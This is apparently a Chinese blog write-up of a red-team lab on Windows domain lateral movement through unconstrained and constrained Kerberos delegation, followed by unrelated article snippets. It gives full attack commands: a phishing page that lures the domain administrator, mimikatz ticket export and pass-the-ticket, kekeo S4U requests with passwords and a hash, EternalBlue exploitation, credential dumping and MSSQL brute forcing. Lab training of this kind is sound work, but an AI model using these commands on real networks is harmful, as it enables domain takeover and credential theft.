【内网安全】横向移动非约束委派约束委派资源约束委派数据库攻防

news/2024/11/29 2:39:03/

文章目录

  • 章节点
    • redteam.red 靶场
  • 委派攻击分类:
    • 关于约束委派与非约束委派
  • 横向移动-原理利用-约束委派&非约束委派
    • 非约束委派
      • 复现配置
      • 如何利用?
      • klist purge 与 mimikatz sekurlsa::tickets purge 的区别
    • 约束委派(不需要与与域控建立连接)
      • 复现配置
      • 判断查询
      • 利用步骤
  • 横向移动-实战靶机-约束委派&数据库攻防
    • 攻击域内成员主机 - MS17010
    • 查找域内非约束委派用户和计算机
    • 攻击域内数据库主机 - MSSQL+提权
      • 方法一:Proxifier + MDUT + 提权
      • 方法二:使用msf(添加路由后)
    • 攻击域内域控主机 - 约束委派

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

redteam.red 靶场

在这里插入图片描述

委派攻击分类:

1、非约束性委派
2、约束性委派
3、基于资源的约束性委派

关于约束委派与非约束委派

委派(Delegation)是指将用户或计算机帐户的权限授予其他用户或计算机帐户,以便它们可以代表原始用户或计算机帐户执行相应的操作。其中,Windows中的委派分为两种类型:非约束委派和约束委派。

非约束委派(Unconstrained Delegation)是指将用户或计算机帐户的所有权限都授予另一个用户或计算机帐户,并且该帐户可以将权限继续委派下去,这样可以导致安全隐患。
意思就是被域控进行非约束委派的域成员主机获得全部权限,并且该可以同样的可以进非约束委派至其他域成员主机

约束委派(Constrained Delegation)是指将用户或计算机帐户的部分权限授予另一个用户或计算机帐户,并限制该帐户只能将授权限委派给特定的服务。这意味着该帐户无法将委派权限向下传递给其他服务,因此更加安全。

总的来说,如果需要在Windows环境中使用委派功能,建议使用约束委派而不是非约束委派,以提高系统和数据的安全性。

横向移动-原理利用-约束委派&非约束委派

非约束委派

原理:
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,
一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。

利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户

复现配置

1、信任此计算机来委派任何服务(域控DC)
在这里插入图片描述
2、setspn -U -A priv/test webadmin
在这里插入图片描述

判断查询:
查询域内设置了非约束委派的服务账户

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

查询域内设置了非约束委派的机器账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

注:如果执行显示如下(域成员主机连接不上域控)
在这里插入图片描述
解决:
1、打开注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
将SysvolReady键值更改为1
2、网络问题:网络连接不稳定、DNS服务器配置错误等都可能导致连接失败。
是否能互相ping通,以及webserver DNS配置是否是DC。
3、防火墙或安全软件的阻挡,检查防火墙出入站。
4、权限问题:要查询Active Directory,需要使用具有适当权限的帐户进行身份验证。

如何利用?

方法一、域控与委派机器通讯
主动:配合内网中打印机设备

net use \\webserver		#测试网络连接情况

在这里插入图片描述

方法二:对域控进行钓鱼
http://192.168.3.31/1.html
诱导管理员访问该页面,达到方法一的效果,及与委派机器通讯

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.3.31\2">
</body>
</html>

2、导出票据到本地

mimikatz sekurlsa::tickets /export

非约束委派-域成员钓鱼域控窃取票据

3、导入票据到内存

mimikatz kerberos::ptt [0;2d57f4]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

在这里插入图片描述
4、连接通讯域控

shell dir \\owa2010cn-god\c$	#未导入票据之前显示拒绝访问

在这里插入图片描述

klist purge 与 mimikatz sekurlsa::tickets purge 的区别

"klist purge"和"sekurlsa::tickets purge"都是清空Kerberos票据的命令,但它们针对的目标不同。
"klist purge"是Windows系统自带的一个命令,用于清空当前用户会话(session)中缓存的Kerberos票据。如果其他用户或进程缓存了Kerberos票据,并且这些票据未过期,攻击者仍然可以使用它们来进行攻击。

而"sekurlsa::tickets purge"是Mimikatz工具中的一个命令,用于清空当前会话中缓存的Kerberos票据。与"klist purge"不同的是,该命令可以清空整个会话中的所有Kerberos票据,包括其他用户或进程缓存的票据。这意味着,即使在其他会话中有未过期的票据,攻击者也无法使用这些票据进行横向渗透攻击。
相较于"klist purge"命令,"mimikatz sekurlsa::tickets purge"命令在清空Kerberos票据时更加严格和彻底。

约束委派(不需要与与域控建立连接)

原理:
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,
引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。

利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,
然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

复现配置

1、机器设置仅信任此计算机指定服务-cifs
在这里插入图片描述
2、用户设置仅信任此计算机指定服务-cifs
在这里插入图片描述
这里搭建环境稍微麻烦一点,

判断查询

查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述
查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述
PS:为什么我觉得着这两条命令没啥区别
在这里插入图片描述

利用步骤

1、获取用户的票据

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

在这里插入图片描述

2、利用用户票据获取域控票据

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

在这里插入图片描述
3、导入票据到内存

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

在这里插入图片描述
在这里插入图片描述
4、连接通讯域控

shell dir \\owa2010cn-god.god.org\c$

在这里插入图片描述

横向移动-实战靶机-约束委派&数据库攻防

从外网 Weblogic 打到内网,再到约束委派接管域控
-攻击Weblogic - CVE-2017-10271
这里主要复现约束委派相关内容,初始状态直接上线weblogic

攻击域内成员主机 - MS17010

1、CS执行联动MSF

msf ip xxxx 
spawn msf

3、MSF监听联动配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport xxxx
run

4、添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表

5、利用模块

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 10.10.20.7 //设置连接目标
set rhosts 10.10.20.7 //设置扫描目标
run

在这里插入图片描述
在这里插入图片描述
上面省略了一些信息收集过程……
判断域环境、域控IP地址
在这里插入图片描述
这里得到DC域控ip为10.10.10.8
10.10.20.0网段域内存活主机扫描
在这里插入图片描述

msf6 auxiliary(scanner/portscan/tcp) > use 5
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.20.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445
msf6 auxiliary(scanner/portscan/tcp) > run

在这里插入图片描述

查找域内非约束委派用户和计算机

上传必要工具
在这里插入图片描述
这里fscan可能是太大了,上传失败……

收集明文密码、hash值、NTML等信息

meterpreter > load kiwi
meterpreter > creds_all 


感觉使用msf的信息探测方面不如cs人性化,漏洞利用方面确实很不错,这里使用AdFind直接session卡退了,于是下面我将会话转移到了cs上
在这里插入图片描述
具体是上传一个正向连接的木马,在cs进行主动连接,更方面的利用插件进行内网信息收集
在这里插入图片描述

AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

在这里插入图片描述
这里看到了sqlsesrver用户,也就是说SQLsever账号密码可以利用约束委派

信息收集加口令加漏洞探针:

fscan -h 10.10.10.18

攻击域内数据库主机 - MSSQL+提权

这里是真肝不动了,说下思路

方法一:Proxifier + MDUT + 提权

我代理一直测试连接不上……
弱口令 sa/sa爆破
上传后门,执行后门,在Work-7上新建监听器()10.10.10.7),进行提权(使用新建的监听器)
在Work-7上正向连接
connect 10.10.20.18 2222
上线普通用户权限,进行提权抓取明文密码获得sqlserver的密码(域成员账号密码,前面weblogic获得不到明文)

方法二:使用msf(添加路由后)

use auxiliary/scanner/mssql/mssql_login 
set rhost 10.10.10.18
set PASS_FILE xxx.txt
set USERPASS_FILE xxx.txt
run

后续同上
获取到SqlServer账号密码:sqlserver/Server12345

攻击域内域控主机 - 约束委派

1、kekeo请求获取sqlserver的TGT:

kekeo "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" "exit"


2、使用票据请求域控:

kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"

在这里插入图片描述
3、导入内存:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

在这里插入图片描述
查看一下票据是否导出成功(多导入几次)
在这里插入图片描述
4、连接域控:

dir \\OWA\c$

在这里插入图片描述

原本以为一上午就搞定,结果复现了一天												2023-04-05	By whgojp

http://www.ppmy.cn/news/39213.html

相关文章

子串判断问题

目录 子串判断 程序设计 程序分析 子串判断 【问题描述】设s、t 为两个字符串,两个字符串分为两行输出,判断t 是否为s 的子串。如果是,输出子串所在位置(第一个字符,字符串的起始位置从0开始),否则输出-1 【输入形式】两行字符串,第一行字符串是s;第二行是字符串t …

闲来无事,写个脚本爬一下快递信息

多线程爬取&#xff1a;可以使用Python中的多线程或异步IO技术来加速爬取速度&#xff0c;提高效率。自动识别快递公司&#xff1a;可以通过输入的快递单号自动识别快递公司&#xff0c;然后根据不同公司的网站结构来爬取相应的信息。数据存储&#xff1a;可以将爬取的数据存储…

2021蓝桥杯真题大写 C语言/C++

题目描述 给定一个只包含大写字母和小写字母的字符串&#xff0c;请将其中所有的小写字母转换成大写字母后将字符串输出。 输入描述 输入一行包含一个字符串。 输出描述 输出转换成大写后的字符串。 输入输出样例 示例 输入 LanQiao 输出 LANQIAO 评测用例规模与约定 对于…

如何自动填充creatTime和updateTime两种字段

1.mysql自带功能 首先是较为常见的&#xff0c;在mysql数据库里设置&#xff0c;但是我的mysql版本不支持该方法&#xff0c;如果尝试了后报错了请直接看方法二 sql语句预览 createTime timestamp not null default CURRENT_TIMESTAMP comment "创建时间", upd…

软考网络工程师要怎么复习?

一、明确考试重点和难点 网络工程师考试主要考察网络基础知识、网络架构设计、网络安全、网络管理等方面的知识。因此&#xff0c;我们在复习的时候&#xff0c;一定要明确考试重点和难点&#xff0c;将重点知识点逐一梳理&#xff0c;逐一掌握。 二、查漏补缺 在进行复习的…

13.网络爬虫—多进程详讲(实战演示)

网络爬虫—多进程详讲一进程的概念二创建多进程三进程池四线程池五多进程和多线程的区别六实战演示北京新发地线程池实战前言&#xff1a; &#x1f3d8;️&#x1f3d8;️个人简介&#xff1a;以山河作礼。 &#x1f396;️&#x1f396;️:Python领域新星创作者&#xff0c;C…

TCP协议二:TCP状态转换(重要)

TCP状态转换分析https://www.bilibili.com/video/BV1iJ411S7UA?p44&spm_id_frompageDriver&vd_sourced239c7cf48aa4f74eccfa736c3122e65 TCP状态转换图 粗实线&#xff1a;主动端 虚线&#xff1a; 被动端 细实线&#xff1a;内核操作 状态分析 CLOSED&#xff1…

springboot项目前端ajax01

在我现在看来&#xff0c;ajax就好像是一个快速反应的内存&#xff0c;有很多的时候&#xff0c;ajax是有数据的。这个很好。 01.ajax函数在js中写的&#xff0c; function doGetActivitys(){ debugger //1.定义请求参数 var params“”; //2.定义请求url (前面加/为绝对路径&…